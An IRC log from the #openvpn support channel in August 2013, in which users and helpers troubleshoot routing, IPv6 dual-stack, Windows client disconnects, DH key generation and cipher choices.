22:40 <+pekster> I never knew this one existed: ℻ (really, a "fax" symbol? U+213B)
22:43 < rob0> heh
22:47 < Dar1us> pekster: sure to come in handy...
22:49 -!- pi__ [~pi@cpe-24-210-20-161.columbus.res.rr.com] has quit [Ping timeout: 240 seconds]
23:26 -!- JAVACODER [~JAVACODER@2.190.41.105] has joined #openvpn
23:38 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-xwfhlyjkyuphzmfv] has quit [Quit: Leaving]
23:39 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-nlaccfftoluqpaci] has joined #openvpn
23:40 -!- HyperGli_ [~HyperGlid@li385-100.members.linode.com] has joined #openvpn
23:43 -!- xorox90_ [uid7069@gateway/web/irccloud.com/x-cqgaletbuzwectne] has joined #openvpn
23:45 < xorox90_> Hi I want to redirect all traffic via openvpn server (official guide is here : http://openvpn.net/index.php/open-source/documentation/howto.html#redirect )
23:45 < xorox90_> The problem is that I use windows server 2012 not linux so I don't have a iptables (so that I can't excute iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE )
23:45 < xorox90_> Is there way to solve it?
23:45 <@vpnHelper> Title: HOWTO (at openvpn.net)
23:55 -!- xorox90_ [uid7069@gateway/web/irccloud.com/x-cqgaletbuzwectne] has quit [Ping timeout: 268 seconds]
--- Day changed Fri Aug 02 2013
00:03 -!- kasad [~kasad@77.222.19.218] has quit [Ping timeout: 246 seconds]
00:04 -!- kasad [~kasad@77.222.19.218] has joined #openvpn
00:08 -!- kasad [~kasad@77.222.19.218] has quit [Ping timeout: 248 seconds]
00:08 -!- kasad [~kasad@77.222.19.218] has joined #openvpn
00:30 -!- xbanux [~xbanux@115.254.75.113] has joined #openvpn
00:30 -!- xbanux [~xbanux@115.254.75.113] has quit [Client Quit]
00:36 -!- lmm [uid6417@gateway/web/irccloud.com/x-wiaubzuhqqbyurvp] has quit [Ping timeout: 240 seconds]
00:52 -!- kasad [~kasad@77.222.19.218] has quit []
00:53 -!- trumee [~parul@93.186.149.62] has quit [Read error: Connection reset by peer]
00:57 -!- trumee [~parul@93.186.149.62] has joined #openvpn
00:58 -!- sysdoc_ [~sysdoc@pool-71-105-33-97.lsanca.dsl-w.verizon.net] has quit [Remote host closed the connection]
01:02 < crus> Hi Guys, I've got a site-to-site VPN tunnel running between Australia and the USA.. there's 210ms average latency between the 2 sites.. Do i need to adjust the TCP window size on all the clients behind the 2 VPN gateway's to get better transfer speeds? Or can i do something on the gateway's to improve throughput?
01:09 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-zctirpdnobgjfiia] has quit [Ping timeout: 264 seconds]
01:09 -!- mrrothhcloud___ [uid4697@gateway/web/irccloud.com/x-riveptngbrlrcppr] has quit [Ping timeout: 264 seconds]
01:12 -!- HyperGli_ [~HyperGlid@li385-100.members.linode.com] has quit [Remote host closed the connection]
01:16 -!- lmm_ [~uid6417@gateway/web/irccloud.com/x-nddupxbnpmyiarfn] has joined #openvpn
01:16 <+pekster> crus: TCP's window-scaling mechanism generally handles that for you: do you have a reason to second-guess what TCP is doing for you?
01:16 <+pekster> Further, use of UDP is preferred for openvpn anyway
01:16 <+pekster> !tcptcp
01:16 <+pekster> !tcp
01:16 <@vpnHelper> "tcp" is (#1) Sometimes you cannot avoid tunneling over tcp, but if you can avoid it, DO. http://sites.inka.de/~bigred/devel/tcp-tcp.html Why TCP Over TCP Is A Bad Idea. or (#2) http://www.openvpn.net/papers/BLUG-talk/14.html for a presentation by James Yonan (OpenVPN lead developer) or (#3) if you must use tcp, you likely want --tcp-nodelay
01:17 <+pekster> !learn tcptcp as [tcp]
01:17 <@vpnHelper> Joo got it.
01:17 < kro[au]> !dualstack
01:17 < kro[au]> gieb me it noah vpnHelper !
01:17 < kro[au]> lol
01:18 <+pekster> kro[au]: No dualstack support for the outside (encapsulating) packets at present; right now you need to run 2 instances
01:18 <+pekster> If you want v4+v6 support on the tun adapter, that's support in the >=2.3.0 release, and via patchsets for the 2.2.x series
01:18 < kro[au]> Oh, thats handy to know, I was searching to death on google for dual stack configurations. I thought having an instance for udp and then for udp6 might be the case
01:19 <+pekster> Right
01:19 < kro[au]> Oh i have 2.3.0
01:19 <+pekster> One instance on --proto udp and a 2nd on --proto udp6
01:19 < crus> pekster: well the scaling doesn't seem to be working great.. on my Melbourme <-> sydney tunnel i can see 8MB/sec transfer speeds.. from Melbourne <-> Los Angeles tunnel, It's 350k/sec
01:19 <+pekster> Be careful about saying 'scaling isn't working well' before taking the time to look at the actual scaling multipliers in th packets
01:19 <+pekster> That said, wouldn't you rather use UDP anyway?
01:20 < crus> pekster: doing multithreaded transfer speeds it up dramatically.. so it looks to me like a TCP window size problem to me :O
01:20 <+pekster> Either way, the tcp scaling issues is a lower-level issue: it's like asking why openvpn looses packets when you have packet loss between your hosts
01:20 < kro[au]> pekster, OpenVPN 2.3.2 x86_64-pc-linux-gnu <-- Dual stacking is possible ?
01:20 <+pekster> kro[au]: No, not on the tunneled (encrypted) packets
01:24 < kro[au]> pekster, thanks :)
01:24 <+pekster> It's on the todo list, and there is some hacking motion going that way
01:24 -!- xorox90_ [uid7069@gateway/web/irccloud.com/x-zsvdjyjzxeycfwix] has joined #openvpn
01:25 <+pekster> While it's a bit inconvenient (moreso given the increasing, albiet slow, v6 adoption), running 2 instances has been the "fix" for related issues, like supporting both tcp and udp as transport mechanisms
01:25 <+pekster> It just requires "4" instances to support tcp+udp+IPv4+IPv6 at present
01:28 -!- monk [~aknm@196.14.139.96] has joined #openvpn
01:28 -!- monk [~aknm@196.14.139.96] has quit [Changing host]
01:28 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
01:42 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has quit [Ping timeout: 240 seconds]
01:47 < kro[au]> pekster, so you can just use a v4 UDP and push a V4+V6 configuration just to give the end user an IPv6 ?
01:47 < kro[au]> I've gone and confused myself here :/
01:49 <+pekster> Yup
01:49 <+pekster> It's only the *transport* that can't be dual-stack at present
01:50 <+pekster> See --tun-ipv6 and the related IPv6 section in the manpage
01:50 < Dar1us> use stf?
01:50 < Dar1us> although all of the ipv6 over ip4 solutions suck for one reason or another :(
01:56 < kro[au]> Cheers, I'm back on the right track now hehe
02:07 -!- JackWinter [~jack@vodsl-10021.vo.lu] has quit [Ping timeout: 268 seconds]
02:20 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-nlaccfftoluqpaci] has quit [Read error: Connection reset by peer]
02:20 -!- Denial [Denial@90.202.5.141] has joined #openvpn
02:21 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-afbqpzlbajuaplgt] has joined #openvpn
02:52 -!- xorox90_ [uid7069@gateway/web/irccloud.com/x-zsvdjyjzxeycfwix] has quit [Ping timeout: 242 seconds]
03:03 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
03:05 -!- JAVACODER [~JAVACODER@2.190.41.105] has quit [Ping timeout: 246 seconds]
03:06 -!- mrrothhcloud___ [uid4697@gateway/web/irccloud.com/x-hpovagkuzyrvkrsu] has joined #openvpn
03:06 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-izhkbqemarpjuwkz] has joined #openvpn
03:10 -!- JackWinter [~jack@vodsl-10021.vo.lu] has joined #openvpn
03:23 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-izhkbqemarpjuwkz] has quit [Ping timeout: 264 seconds]
03:23 -!- mrrothhcloud___ [uid4697@gateway/web/irccloud.com/x-hpovagkuzyrvkrsu] has quit [Ping timeout: 264 seconds]
03:24 -!- darknyan [~darknyan@unaffiliated/darknyan] has quit [Remote host closed the connection]
03:48 -!- vaillor [~Guest6529@151.72.20.193] has quit []
03:58 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-afbqpzlbajuaplgt] has quit [Read error: Connection reset by peer]
03:58 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-nilfcqgdttzwnuxh] has joined #openvpn
04:00 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
04:01 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Read error: Connection reset by peer]
04:01 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
04:05 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
04:06 -!- vidarne [~w_a@213.128.183.116] has quit [Ping timeout: 256 seconds]
04:08 -!- monk [~aknm@unaffiliated/aknm] has quit [Ping timeout: 248 seconds]
04:12 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
04:14 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
04:18 -!- abrkn\ [~abkn@195.159.164.228] has joined #openvpn
04:21 -!- abrkn [~abkn@195.159.164.228] has quit [Ping timeout: 264 seconds]
04:22 -!- monk [~aknm@unaffiliated/aknm] has quit [Ping timeout: 246 seconds]
04:33 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
04:34 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
04:48 -!- monk [~aknm@unaffiliated/aknm] has quit [Ping timeout: 256 seconds]
04:49 -!- xorox90_ [uid7069@gateway/web/irccloud.com/x-zmvxkhizqitrmxyb] has joined #openvpn
04:52 -!- JAVACODER [~JAVACODER@2.190.44.244] has joined #openvpn
05:03 -!- aknm [~aknm@196.14.139.96] has joined #openvpn
05:03 -!- aknm [~aknm@196.14.139.96] has quit [Changing host]
05:03 -!- aknm [~aknm@unaffiliated/aknm] has joined #openvpn
05:05 -!- youknow [ilove@i.hope.you.are.offended.by.horseboners.xxx] has quit [Ping timeout: 262 seconds]
05:07 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 260 seconds]
05:08 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has quit [Ping timeout: 260 seconds]
05:08 -!- JSharpe [~JSharpe@90.205.250.10] has quit [Ping timeout: 245 seconds]
05:11 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has quit [Ping timeout: 260 seconds]
05:12 -!- youknow [ilove@i.hope.you.are.offended.by.horseboners.xxx] has joined #openvpn
05:13 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has joined #openvpn
05:20 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-avvmzckfphrlajpg] has joined #openvpn
05:20 -!- mrrothhcloud___ [uid4697@gateway/web/irccloud.com/x-shhsypikgmtspvte] has joined #openvpn
05:23 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has joined #openvpn
05:25 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 248 seconds]
05:32 -!- aknm is now known as monk
05:47 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
05:47 -!- Poster|x [~poster@cpe-173-88-28-119.columbus.res.rr.com] has joined #openvpn
05:49 -!- Poster [~poster@cpe-173-88-28-119.columbus.res.rr.com] has quit [Ping timeout: 276 seconds]
05:50 -!- JSharpe [~JSharpe@90.205.250.10] has joined #openvpn
05:57 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-nilfcqgdttzwnuxh] has quit [Quit: Leaving]
06:17 -!- kenan [~kenan@HSI-KBW-109-193-194-096.hsi7.kabel-badenwuerttemberg.de] has joined #openvpn
06:17 -!- Poster [~poster@173.88.28.119] has joined #openvpn
06:18 < xorox90_> How can I find open port for VPN? (situation firewall exists in my nerwork and  I don't know which port is allowed)
06:18 < kenan> hey, I am having trouble with openvpn and windows 8
06:18 < xorox90_> kenan: what problem exactly?
06:19 < kenan> sometimes it works just fine
06:19 < kenan> sometimes, for example after suspend, it would get the right routes
06:19 -!- Poster|x [~poster@cpe-173-88-28-119.columbus.res.rr.com] has quit [Ping timeout: 246 seconds]
06:20 < xorox90_> kenan: are you using openvpn server or client?
06:20 < kenan> http://pastebin.com/FWFJH86v
06:20 < kenan> on my windows machine, client
06:21 < xorox90_> kenan: maybe? http://blogs.radicalsystems.com.au/lsilva/2012/08/08/openvpn-connect-and-windows-8/
06:22 < kenan> http://pastebin.com/ZYPrw0z0 <--- client config
06:24 < kenan> tried that, does not work
06:24 < kenan> I already set the service to start automatically
06:34 < kenan> any other ideas by any chance?
06:35 <@EugeneKay> !beer
06:35 <@vpnHelper> "beer" is what's for dinner (and occasionally breakfast)
06:35 -!- kenan [~kenan@HSI-KBW-109-193-194-096.hsi7.kabel-badenwuerttemberg.de] has quit [Quit: Leaving]
06:37 -!- abrkn [~abkn@195.159.164.228] has joined #openvpn
06:40 -!- abrkn\ [~abkn@195.159.164.228] has quit [Ping timeout: 248 seconds]
06:45 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
07:09 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Ping timeout: 264 seconds]
07:13 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
07:15 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
07:18 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Excess Flood]
07:19 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
07:20 -!- JAVACODER [~JAVACODER@2.190.44.244] has quit [Read error: Connection reset by peer]
07:22 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
07:23 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
07:24 -!- monk [~aknm@196.14.139.96] has joined #openvpn
07:24 -!- monk [~aknm@196.14.139.96] has quit [Changing host]
07:24 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
07:25 -!- devdel [~d3vd3l@h-237-32.a199.priv.bahnhof.se] has joined #openvpn
07:52 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
07:56 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has quit [Ping timeout: 264 seconds]
08:12 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
08:13 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
08:15 -!- oO0Oo [oO0Oo@gateway/shell/elitebnc/x-jykexpjzhrszvqek] has quit [Read error: Operation timed out]
08:19 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-ldwpxriunugebpsr] has joined #openvpn
08:30 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Ping timeout: 264 seconds]
08:58 -!- cjs226 [~cjs226@rrcs-108-178-108-179.sw.biz.rr.com] has joined #openvpn
08:58 -!- LeLutin [~lelutin@vps-1036922-2706.manage.myhosting.com] has quit [Ping timeout: 276 seconds]
08:58 -!- LeLutin [~lelutin@vps-1036922-2706.manage.myhosting.com] has joined #openvpn
09:00 -!- JSharpe_ [~JSharpe@90.205.250.10] has joined #openvpn
09:02 -!- cjs226 [~cjs226@rrcs-108-178-108-179.sw.biz.rr.com] has quit [Client Quit]
09:04 -!- JSharpe [~JSharpe@90.205.250.10] has quit [Ping timeout: 245 seconds]
09:15 -!- dupondje [~dupondje@artemis.dupie.be] has joined #openvpn
09:16 < dupondje> Hi, I installed OpenVPN on Windows 7, its working correctly. But every now and then it seems to kill itself and then the openvpn-gui.exe hangs. Suddenly @ 14:22 it showed: C:\Windows\....\route.exe DELETE .....
09:17 < dupondje> any idea's why it suddenly stops itself ? :s
09:20 <@ecrist> probably network errors on one end of the connection
09:20 < dupondje> shouldn't it print some timeout message then?
09:21 < dupondje> cause now it suddenly starts removing the routes .. :s
09:21 <@ecrist> depends on what verb is set to
09:22 < dupondje> 3
09:22 <@ecrist> set it to 4
09:22 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-avvmzckfphrlajpg] has quit [Ping timeout: 245 seconds]
09:22 <@ecrist> when it has errors again, post the server and client logs here
09:23 < dupondje> ok :)
09:23 <@ecrist> !logs
09:23 < dupondje> also weird the openvpn-gui.exe doesn't reconnect
09:23 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
09:23 < dupondje> disconnect and reconnect buttons are grayed out also :s
09:23 <@ecrist> dupondje: paste your config here
09:23 <@ecrist> what version of openvpn and openvpn-gui?
09:24 < dupondje> 2.3.2
09:24 < kisom> Do people still use the gui?
09:24 <@ecrist> we package a gui with openvpn on windows
09:24 <@ecrist> I assume that's the one dupondje is using, and not the one from openvpn.se
09:24 < kisom> I know, that's why I build my own installer these days
09:25 < dupondje> indeed, packaged one :)
09:25 < dupondje> Current State: Waiting for OpenVPN to terminate....
09:26 <@ecrist> dupondje: when you get verb 4 logs, post them here, per the instructions above
09:27 < dupondje> https://forums.openvpn.net/topic13353.html
09:27 <@vpnHelper> Title: OpenVPN Support Forum Server disconnects itself : Server Administration (at forums.openvpn.net)
09:27 < dupondje> seems somebody with simular issue heh
09:28 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 264 seconds]
09:28 < dupondje> http://openvpn.net/index.php/open-source/downloads.html => 2.3.2 got removed ?
09:28 <@vpnHelper> Title: Downloads (at openvpn.net)
09:30 <@ecrist> looking
09:34 < dupondje> mmm
09:35 < dupondje> Connecting on the Win7 computer to the VPN. OK. RDP'ing to the Win7 computer, VPN still ok. Disconnecting RDP => VPN connection gone
09:35 < dupondje> "TCP/UDP: CLosing socket"
09:39 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 260 seconds]
09:39 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 260 seconds]
09:42 -!- derRichard [~derRichar@pippin.sigma-star.at] has left #openvpn []
09:43 -!- GEEGEEGEE [~GEEGEEGEE@cpc8-sprt2-2-0-cust26.17-2.cable.virginmedia.com] has joined #openvpn
09:43 < GEEGEEGEE> !welcome
09:43 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
09:44 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
09:44 < GEEGEEGEE> !goal
09:44 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
09:44 < GEEGEEGEE> !wiki PKCS11_PIN
09:46 < dupondje> ecrist: the second I close the Remote Desktop connection, the VPN connection is also killed
09:48 < dupondje> openvpn.exe stops (exitcode 0)
09:49 < dupondje> and openvpn-gui.exe hangs (no reconnect)
09:50 <@krzee> run it as a service if you want it to be a service
09:50 <@krzee> if you run it as a user, then kill the users' session, it will die
09:51 <@krzee> (not openvpn's fault)
09:51 < dupondje> krzee: the session is never killed, i 'disconnect' the session, no logoff
09:52 <@krzee> *shrug* same solution
09:53 <@krzee> just start it as a service, easy
09:54 < dupondje> still it shouldn't die if the session disconnects .
09:55 < dupondje> Look, I reinstalled 2.3.1, and there it does NOT happen
09:55 < dupondje> so seems like a change in 2.3.2 broke it
09:57 <@krzee> weird
09:57 < dupondje> http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=blobdiff;f=src/openvpn/win32.c;h=178e2c356007f24ba9c9f7892aa3a4001375f73b;hp=2db96a8d28361f7f36af3fee28ddd9b64e3f0378;hb=93ec740f94867e10980c8a87bd3c2a037b221f31;hpb=4203296fb9166c672e55586490e5bf237910ec56 maby ?
09:57 <@vpnHelper> Title: SourceForge - openvpn/openvpn-testing.git/blobdiff - src/openvpn/win32.c (at openvpn.git.sourceforge.net)
10:00 -!- Dave2 is now known as Dave
10:01 < dupondje> dunno if somebody could quickly compile the installer without that patch ?
10:01 < dupondje> then i'll could test
10:02 < dupondje> otherwise I need to setup some mingw64 :)
10:04 <@ecrist> I suggest you create a ticket, and mention as much as you can, dupondje 
10:09 < dupondje> building :) let me test
10:28 < dupondje> proxy.c:417:23: error: ‘WINHTTP_AUTO_DETECT_TYPE_DHCP’ undeclared (first use in this function)
10:28 < dupondje> boo
10:30 <@ecrist> there are instructions on our wiki, iirc, for building openvpn
10:32 <@ecrist> I can't find it, though.
10:34 < GEEGEEGEE> I have ran build-dh for a 4096 bit keylength and so far its taken almost 40 minutes, how long would it usually take? Im using a single core of a Intel(R) Xeon(R) E5540  @ 2.53GHz
10:34 -!- JAVACODER [~JAVACODER@2.190.42.216] has joined #openvpn
10:41 < kisom> GEEGEEGEE: 4096 bit is pretty much for a DH key. I generated such a key once, it took a few hours. Only to find out that quite a few crypto stacks (including the windows crypto API) does not support such large DH keys.
10:42 < GEEGEEGEE> Oh, A guide im using on line said to use something larger than 2048 so I just doubled it lol
10:57 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-fhyvcfyfcdrzydgo] has joined #openvpn
11:01 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
11:22 -!- raidz_away is now known as raidz
11:22 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 256 seconds]
11:24 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
11:32 -!- russoisraeli [~Drsed@vpn10-client-a3.Princeton.EDU] has joined #openvpn
11:34 < russoisraeli> ok, so after a lot of "excitement" with Windows PowerShell, I've found out that there's no good/easy way to switch from elevated mode to normal, and drives mounted from elevated mode are not seen at all in normal mode?.. sigh? well, I know it's not an openvpn issue, but any suggestions on how to run OpenVPN gui in a non-elevated mode, and still allow it to add routes and such
11:36 < russoisraeli> (I am trying to mount drives via --up script in Windows)
11:38 -!- HyperGli_ [~HyperGlid@110.184.82.245] has joined #openvpn
11:39 -!- HyperGlide [~HyperGlid@110.184.81.47] has quit [Ping timeout: 264 seconds]
11:40 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
11:58 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
12:07 -!- JSharpe_ [~JSharpe@90.205.250.10] has quit [Read error: Connection reset by peer]
12:14 -!- scanf [~x32@unaffiliated/scanf] has joined #openvpn
12:15 < scanf> is AES128 gonna be my best bet for a cipher with openvpn?
12:16 < scanf> also, regarding to pam auth plugin, a user would have to have been granted a client cert to even get that far, right?
12:16 <+pekster> scanf: Unless you're using --client-cert-not-required, yes. See also the --tls-auth option
12:17 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit []
12:17 <+pekster> As for a cipher, depends on what you mean by "best bet" -- AES is often supported if you have hardware acceleration in your hardware, but otherwise blowfish tends to be a bit faster in software
12:20 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
12:21 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Client Quit]
12:39 < russoisraeli> pekster - any idea if OpenVPN GUI can be made to work without elevated privileges in Win Vista/7?
12:39 <+pekster> Use the service model
12:41 -!- igor__ [~Drsed@vpn10-client-a3.Princeton.EDU] has joined #openvpn
12:42 -!- igor__ [~Drsed@vpn10-client-a3.Princeton.EDU] has quit [Client Quit]
12:43 <+pekster> There's some really crappy wikipage titled "Nonprivileged" but it's mostly a giant hack
12:44 <+pekster> if you're using UAC, it's implied that you elevate permission when required. Use of something simple like AutoItv3 can do this for you in 2 lines of scripting code: try using tools that suck less than powershell
12:45 -!- russoisraeli [~Drsed@vpn10-client-a3.Princeton.EDU] has quit [Ping timeout: 264 seconds]
12:45  * pekster hates it when advice becomes "talking to one's self"
13:02 -!- GEEGEEGEE [~GEEGEEGEE@cpc8-sprt2-2-0-cust26.17-2.cable.virginmedia.com] has quit [Ping timeout: 256 seconds]
13:05 -!- [1]Chrismo16 [~Chrismo16@107-220-244-157.lightspeed.miamfl.sbcglobal.net] has joined #openvpn
13:05 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
13:07 -!- Chrismo16 [~Chrismo16@107-220-244-157.lightspeed.miamfl.sbcglobal.net] has quit [Ping timeout: 264 seconds]
13:07 -!- [1]Chrismo16 is now known as Chrismo16
13:33 -!- russoisraeli [~Drsed@vpn10-client-a3.Princeton.EDU] has joined #openvpn
13:34 < russoisraeli> sorry for the duplicate questions, I keep getting disconnected?. any idea how I can run OpenVPN GUI on windows in non-privileged mode?
13:43 -!- locojay2 [~locojay@207.239.107.3] has joined #openvpn
13:43 < locojay2> hi i have 2 oas server . conneting from same client to each one works. connecting to boath a the same time works but then network is down . any idea?
13:45 -!- russoisraeli [~Drsed@vpn10-client-a3.Princeton.EDU] has quit [Ping timeout: 240 seconds]
13:45 < kisom> locojay2: We only support the community edition in this channel.
13:47 < locojay2> it's the community edition
13:47 < locojay2> just added a couple of licenses to add more user (> 2)
13:48 < kisom> The community edition has no licensing options
13:48 < locojay2> ah k
13:48 < kisom> !as
13:48 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
13:49 < locojay2> thanks
14:00 -!- scyld [~scyld@unaffiliated/wasyl] has joined #openvpn
14:04 -!- [CaBeTuX] [~CaBeTuX@186.158.200.25] has joined #openvpn
14:05 -!- Denial- [Denial@90.202.5.141] has joined #openvpn
14:05 -!- abrkn\ [~abkn@195.159.164.228] has joined #openvpn
14:05 < [CaBeTuX]> !Welcome ;)
14:05 < [CaBeTuX]> mmmm... not?
14:05 < [CaBeTuX]> !welcome
14:05 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
14:05 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
14:06 < [CaBeTuX]> ohh yea! jajaja
14:07 -!- gffa_ [~unknown@unaffiliated/gffa] has joined #openvpn
14:07 -!- gffa [~unknown@unaffiliated/gffa] has quit [Killed (kornbluth.freenode.net (Nickname regained by services))]
14:07 -!- gffa_ is now known as gffa
14:11 -!- user2 [~user@ovpn.t28.net] has joined #openvpn
14:20 -!- Netsplit *.net <-> *.split quits: cali, abrkn, darknyan, hfp, Olipro, sandeepr_ltp, Denial, [fred], cj
14:20 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-vosbrebwxekocrfz] has joined #openvpn
14:21 -!- Denial- is now known as Denial
14:21 -!- cali [~cali@91.220.163.18] has joined #openvpn
14:21 -!- cali [~cali@91.220.163.18] has quit [Changing host]
14:21 -!- cali [~cali@unaffiliated/cali] has joined #openvpn
14:26 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
14:29 -!- p2 [~p2@ip68-99-213-192.ph.ph.cox.net] has joined #openvpn
14:29 < p2> Anyone ever have a problem where you can't route to any ips on the vpn network out of the blue, then if a new client reconnects it all starts working again for all?
14:33 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Excess Flood]
14:37 -!- raidz is now known as raidz_away
14:40 -!- Olipro [~Olipro@d.e.r.p.6.a.1.0.d.d.0.7.2.0.1.0.a.2.ip6.arpa] has joined #openvpn
14:40 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
14:40 -!- cj [~cjac@2607:ff08:f5:3a::3] has joined #openvpn
14:40 -!- [fred] [~fred@konfuzi.us] has joined #openvpn
14:41 -!- Olipro [~Olipro@d.e.r.p.6.a.1.0.d.d.0.7.2.0.1.0.a.2.ip6.arpa] has quit [Max SendQ exceeded]
14:42 -!- raidz_away is now known as raidz
14:43 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
14:45 <+pekster> p2: Since problems don't manifest "out of the blue", no. Sounds like your target network has a LAN issue (duplicate MAC, or similar L2 issues) or there's a firewall/router acting up somewhere in the path
14:45 <+pekster> Do 'the usual' troubleshooting when you reproduce the issue like watching the flow of packet as they cross your VPN server and continue into the server-side network
14:57 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
15:03 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
15:13 -!- Denial [Denial@90.202.5.141] has quit []
15:16 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 240 seconds]
15:28 -!- MeanderingCode [~Meanderin@192.241.150.232] has joined #openvpn
15:30 -!- MeanderingCode [~Meanderin@192.241.150.232] has quit [Client Quit]
15:32 -!- MeanderingCode [~Meanderin@192.241.150.232] has joined #openvpn
15:32 -!- locojay3 [~locojay@pool-74-108-111-182.nycmny.fios.verizon.net] has joined #openvpn
15:33 -!- locojay2 [~locojay@207.239.107.3] has quit [Read error: Operation timed out]
15:38 -!- [CaBeTuX] [~CaBeTuX@186.158.200.25] has quit [Ping timeout: 245 seconds]
15:51 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 245 seconds]
16:01 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-fhyvcfyfcdrzydgo] has quit [Ping timeout: 248 seconds]
16:04 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
